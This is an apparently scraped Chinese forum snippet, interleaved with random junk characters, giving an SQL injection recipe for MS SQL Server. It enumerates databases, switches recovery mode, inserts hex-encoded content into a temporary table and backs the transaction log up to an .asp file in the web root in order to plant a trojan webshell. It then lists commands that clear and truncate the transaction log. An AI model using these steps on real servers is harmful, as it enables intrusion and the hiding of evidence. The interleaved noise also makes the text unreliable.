select * from master.dbo.sysdatabases 列出所有列的记录! p9 }* \' |, F% C! Z8 \$ S
% K. W' i6 G: u7 s/ S; `( Q" }select name from master.dbo.sysdatabases 仅列出name列的记录; K ]1 A: z* ~! U5 s, K) }
" _: S+ ?/ R* Q4 B* `2 Q注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份
^. v7 Q: L' E" w. D7 s& V7 B
* o% k. r4 x* v1 [2 K$ w3 Y, Valter database 数据库名 set RECOVERY FULL--
6 R& L* c6 S% }* O$ y9 v3 r1 Y+ p4 t( m) g
create table cmd (a image)-- \**cmd是创建的临时表
% G; v7 S. o3 w! u) ]9 s5 d
- L3 I" A! E, N c, Wbackup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--
$ L- Q! Q3 ~* m" u+ I+ U) [. l0 r( _* x& ^% ^
insert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--3 i4 f1 t H/ r! R
) K$ Y$ p$ U4 a" m//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)2 ?3 l7 J N* n: W5 `" v3 I
) i5 J U5 {7 j! D7 ?# }; Kbackup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
, s$ n$ `$ c; j+ j# A! \3 R6 Y" d2 C9 f- E
drop table cmd--( d# n/ C; @' f$ O' l: W8 F4 `8 b
, N6 z3 m% N! g7 s [: c
% I+ `: j( L1 ~; of:\: x6 P( u- [3 o" q; b1 d
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)
4 c- w! p6 X% Q* j& d* N! d3 ~! O9 I# T8 c2 r+ _! L$ _
最好多加几个回车0d0a,要不会出错哈. n9 Y# |6 t5 A9 ]! K
! w/ e* P$ s7 o* Y# T0 ^* E
( i, N7 I+ K( P! ?* U9 c; hSQL Server日志清空方法
& x* }! }' M& {( V# D5 T" n2 j. k# W) I
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
; a a( x0 y) [; d( g4 N1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
# Q3 G2 {" R, Y$ q- |. b
0 \8 p- `( J& L+ e# z3 `$ ^* J9 l2.截断事务日志:BACKUP LOG databasename WITH NO_LOG & H' d2 ~, S3 [2 t
. w8 h7 j# u6 u* [ M- ^3.收缩数据库:DBCC SHRINKDATABASE(databasename) , D: m4 y O. J X9 A( y
|